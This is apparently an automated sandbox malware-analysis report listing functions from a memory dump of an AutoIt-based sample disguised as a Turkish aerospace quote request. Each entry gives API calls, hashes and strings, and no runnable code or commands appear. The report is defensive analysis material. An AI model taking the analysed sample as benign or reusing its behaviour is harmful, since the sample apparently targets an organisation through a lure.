Instruction ID: 2823c93cc58bc2b9ac2b89299de36bd8496ca53a1a4be617295831917afd6201
Opcode Fuzzy Hash: 266be0fa80e03cf6a510419b680e89c58e060a321a59e5d3a136ed9d2a094cb2
Instruction Fuzzy Hash: F7310F71A01119BFEB659F94D8C9EFFBBBCEF08340F1001A9F645A2140DA795A459BA0

Function 010262CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 010262EC
GetWindowLongW.USER32(011F5D60,000000F0), ref: 0102631F
GetWindowLongW.USER32(011F5D60,000000F0), ref: 01026354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 01026386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 010263B0
GetWindowLongW.USER32(00000000,000000F0), ref: 010263C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 010263DB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 52600ac454b4c3fb1cbb352227911a97d320ea2e388b484f08ec69a5ba74ce41
Instruction ID: a0cd9cc8f516fa830dcf4a04641b0e5f4e5b8e5cecf17d0401e1a6171c96aecf
Opcode Fuzzy Hash: 52600ac454b4c3fb1cbb352227911a97d320ea2e388b484f08ec69a5ba74ce41
Instruction Fuzzy Hash: DC310730644161AFDB31CF28D888F553BE5FB4A754F1941A4F9819F2B6CB77A840CB91

Function 00FFDAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FFDB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FFDB54
SysAllocString.OLEAUT32(00000000), ref: 00FFDB57
SysAllocString.OLEAUT32(?), ref: 00FFDB75
SysFreeString.OLEAUT32(?), ref: 00FFDB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 00FFDBA3
SysAllocString.OLEAUT32(?), ref: 00FFDBB1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 3b9069c3879e5722a5a2f9a96a378d0dd44a67d488f8f55a8803a91207631cb0
Instruction ID: 6c98e479e9498a9b34798d622ea77d7696d21af411ecbaeb46109a8a44e69b6d
Opcode Fuzzy Hash: 3b9069c3879e5722a5a2f9a96a378d0dd44a67d488f8f55a8803a91207631cb0
Instruction Fuzzy Hash: 8421A63260121EAFDF20DEA8DC48DBB73ADEF49360B118125FB54DB260DB749C419760

Function 01016173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 01017D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 01017DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 010161C6
WSAGetLastError.WSOCK32(00000000), ref: 010161D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0101620E
connect.WSOCK32(00000000,?,00000010), ref: 01016217
WSAGetLastError.WSOCK32 ref: 01016221
closesocket.WSOCK32(00000000), ref: 0101624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 01016263

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 6b9f615879f345096546bf2b793a4c2097df736c8fcc79e97caea2fc4a3ade2d
Instruction ID: e44cc9e17ddb805c9d592ac74007e8f52cec98289fd4f32f8f32af409a4e0de8
Opcode Fuzzy Hash: 6b9f615879f345096546bf2b793a4c2097df736c8fcc79e97caea2fc4a3ade2d
Instruction Fuzzy Hash: 6731A171600118ABEF20AF64CC85BBE7BF9EF45750F044069FD85E7285CBB9A9049BA1

Function 00FFF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FFF671
__wcsnicmp.LIBCMT ref: 00FFF692
__wcsnicmp.LIBCMT ref: 00FFF6AC

Strings

#OnAutoItStartRegister, xrefs: 00FFF6A6
#requireadmin, xrefs: 00FFF68C
#notrayicon, xrefs: 00FFF669

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 6aae3f584cb7cf06d0bc9a1f9e3c86583d0db75c629667d7d0a9fe2c32cbba69
Instruction ID: 34ace9235c638d792dbf6dc840b31eceb992e276c6fc6802969d22c40a5dfed0
Opcode Fuzzy Hash: 6aae3f584cb7cf06d0bc9a1f9e3c86583d0db75c629667d7d0a9fe2c32cbba69
Instruction Fuzzy Hash: 8F2149736141166AD320BA34AD03FB7B398DF55360F14403DF686CA171EF949D4AF295

Function 00FFDBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FFDC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FFDC2F
SysAllocString.OLEAUT32(00000000), ref: 00FFDC32
SysAllocString.OLEAUT32 ref: 00FFDC53
SysFreeString.OLEAUT32 ref: 00FFDC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 00FFDC76
SysAllocString.OLEAUT32(?), ref: 00FFDC84

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 552912cc26df7ad9593fdbe372d52715fdc09e831e818826838297ff5e9aefd7
Instruction ID: 11f520a9d4a581ef7f1d8862194e8675121918c7e6944f2019cdf7065ce80097
Opcode Fuzzy Hash: 552912cc26df7ad9593fdbe372d52715fdc09e831e818826838297ff5e9aefd7
Instruction Fuzzy Hash: 30218636604209AFDB20EFA8DC89DBA77EDEF09360B108125FA54CB264DBB4DC41D764

Function 010275CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00FA1D73
Part of subcall function 00FA1D35: GetStockObject.GDI32(00000011), ref: 00FA1D87
Part of subcall function 00FA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00FA1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 01027632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0102763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0102764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 01027659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 01027665

Strings

Msctls_Progress32, xrefs: 01027603

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: af596ec0d20bacf68e760ba9de4db96d817c00f554102dcb92c7e3cb5ae47068
Instruction ID: 258b1657aef3fd019504b4574eb3f18b552b0a85395112dc721080bcd1c60927
Opcode Fuzzy Hash: af596ec0d20bacf68e760ba9de4db96d817c00f554102dcb92c7e3cb5ae47068
Instruction Fuzzy Hash: D11193B111012ABFEF258E64CC85EE7BF6DEF08798F014114FA44A6050C6729C21DBA4

Function 00FC9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00FC9AE6

Part of subcall function 00FC3187: EncodePointer.KERNEL32(00000000), ref: 00FC318A
Part of subcall function 00FC3187: __initp_misc_winsig.LIBCMT ref: 00FC31A5
Part of subcall function 00FC3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00FC9EA0
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00FC9EB4
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00FC9EC7
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00FC9EDA
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00FC9EED
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00FC9F00
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00FC9F13
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00FC9F26
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00FC9F39
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00FC9F4C
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00FC9F5F
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00FC9F72
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00FC9F85
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00FC9F98
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00FC9FAB
Part of subcall function 00FC3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00FC9FBE

__mtinitlocks.LIBCMT ref: 00FC9AEB
__mtterm.LIBCMT ref: 00FC9AF4

Part of subcall function 00FC9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00FC9AF9,00FC7CD0,0105A0B8,00000014), ref: 00FC9C56
Part of subcall function 00FC9B5C: _free.LIBCMT ref: 00FC9C5D
Part of subcall function 00FC9B5C: DeleteCriticalSection.KERNEL32(0105EC00,?,?,00FC9AF9,00FC7CD0,0105A0B8,00000014), ref: 00FC9C7F

__calloc_crt.LIBCMT ref: 00FC9B19
__initptd.LIBCMT ref: 00FC9B3B
GetCurrentThreadId.KERNEL32 ref: 00FC9B42

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 19507a288ad31386a679fd52407f2a54589442eaf90ef81f7a9f3ebb664dbaee
Instruction ID: e5301339d7c1a4a54dc5c0d84ffb0a2ad38c256bf3a9407d393d05aa4dfd9f86
Opcode Fuzzy Hash: 19507a288ad31386a679fd52407f2a54589442eaf90ef81f7a9f3ebb664dbaee
Instruction Fuzzy Hash: A2F0C23290D31329E7347A74BE0BF4A36909F42770B20061EF094950C2EE999A0125A0

Function 00FC406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00FC3F85), ref: 00FC4085
GetProcAddress.KERNEL32(00000000), ref: 00FC408C
EncodePointer.KERNEL32(00000000), ref: 00FC4097
DecodePointer.KERNEL32(00FC3F85), ref: 00FC40B2

Strings

combase.dll, xrefs: 00FC4080
RoUninitialize, xrefs: 00FC4074

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 32ed7f034c7429088347b5cebd60d0518fbf9b876bec63329a514732cff8566d
Instruction ID: 0aebefceb2c16af2d5b602e3f00290f836a4859c45b619b2e4bb881455c20f9f
Opcode Fuzzy Hash: 32ed7f034c7429088347b5cebd60d0518fbf9b876bec63329a514732cff8566d
Instruction Fuzzy Hash: 53E09270981202EBEA30AF61EA0EB053AB8B705B92F204018F986ED098CBBB5504DB54

Function 010064B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0100660B
_memmove.LIBCMT ref: 01006546

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

_memmove.LIBCMT ref: 010065B9
_memmove.LIBCMT ref: 010066A0
_memmove.LIBCMT ref: 010066B9
_memmove.LIBCMT ref: 010066D5

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 21c363d6d5c09a7a42dfc03ef52fd438f6cd54c5821b196d12bfcbf1ca2abfab
Instruction ID: 0f0234533335a57dbc326ad9f8133a926bb2c163b275252000c0cd977e86ec70
Opcode Fuzzy Hash: 21c363d6d5c09a7a42dfc03ef52fd438f6cd54c5821b196d12bfcbf1ca2abfab
Instruction Fuzzy Hash: 3F61CF7050024A9BDF02EF64CC82EFF3BA5AF0A308F044469F9955B1D2DB79D916DB50

Function 010201E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 01020E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101FDAD,?,?), ref: 01020E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 010202BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 010202FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 01020320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 01020349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0102038C
RegCloseKey.ADVAPI32(00000000), ref: 01020399

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: efb418e959f2c24b80ce309a98813be1f9ca5d3f371f7181aa1fa34c9a3755fa
Instruction ID: 17931b4555c1dedf5b667de9c7502c10ff964a3658a7219a8a9c23d8fe2e5da5
Opcode Fuzzy Hash: efb418e959f2c24b80ce309a98813be1f9ca5d3f371f7181aa1fa34c9a3755fa
Instruction Fuzzy Hash: 9F515571208305AFD710EF28C885EAFBBE8EF89314F04491DF5858B2A1DB75E909DB52

Function 01025799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 010257FB
GetMenuItemCount.USER32(00000000), ref: 01025832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0102585A
GetMenuItemID.USER32(?,?), ref: 010258C9
GetSubMenu.USER32(?,?), ref: 010258D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 01025928

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 28628b537628f9b95c67806f7328c53ff5572a0d46b2c4148c086914bfabf5ff
Instruction ID: eaa01e01b76b0f6e83b2c562c7df1506496437ab6b578fb1425cd1ce586ffe9c
Opcode Fuzzy Hash: 28628b537628f9b95c67806f7328c53ff5572a0d46b2c4148c086914bfabf5ff
Instruction Fuzzy Hash: A7517F71E00226AFCF11DF64CC45AEEBBB4EF49310F144099E981BB351CBB9AE419B94

Function 00FFEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FFEF06
VariantClear.OLEAUT32(00000013), ref: 00FFEF78
VariantClear.OLEAUT32(00000000), ref: 00FFEFD3
_memmove.LIBCMT ref: 00FFEFFD
VariantClear.OLEAUT32(?), ref: 00FFF04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00FFF078

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: e3c4fe555d601ac9e5627848f5c3e0e087bb44631d8c843c454289a0f9d45e4b
Instruction ID: 87d22d2792bca9a2094b3918c53816edda0f0403a2904b3e1fab91cd4fb2ff44
Opcode Fuzzy Hash: e3c4fe555d601ac9e5627848f5c3e0e087bb44631d8c843c454289a0f9d45e4b
Instruction Fuzzy Hash: F7517CB5A00209DFCB20CF58C880AAAB7B8FF4C310B158569EA49DB315E735E911CBA0

Function 0100220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 010022A3
IsMenu.USER32(00000000), ref: 010022C3
CreatePopupMenu.USER32 ref: 010022F7
GetMenuItemCount.USER32(000000FF), ref: 01002355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 01002386

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: bb6600a99827a38fbe9f0c609beb68b9c8f99dc0b1f96dae2dafa52c0f455812
Instruction ID: 4dc2cd5bda5e28807e97de620888332255cf58a7cc0fd82af3f416b1c5ea58f1
Opcode Fuzzy Hash: bb6600a99827a38fbe9f0c609beb68b9c8f99dc0b1f96dae2dafa52c0f455812
Instruction Fuzzy Hash: B751AF7060020AEBEF22CF68C98CBADBBF5BF45314F148199E995A72D0D7719A44CB51

Function 00FA1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00FA179A
GetWindowRect.USER32(?,?), ref: 00FA17FE
ScreenToClient.USER32(?,?), ref: 00FA181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00FA182C
EndPaint.USER32(?,?), ref: 00FA1876

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 794a652c1be4eed9cac80c5b53a398f3ef37c4e389cfc5193763259cf423001a
Instruction ID: bd06df03ad9cf034f39e0041626ebb03ccd7d32214b402324ea3705535a54606
Opcode Fuzzy Hash: 794a652c1be4eed9cac80c5b53a398f3ef37c4e389cfc5193763259cf423001a
Instruction Fuzzy Hash: 7D41C1715043019FC720DF24CC84FBA7BF8FB4A764F180629F9A4872A1C7399805EB61

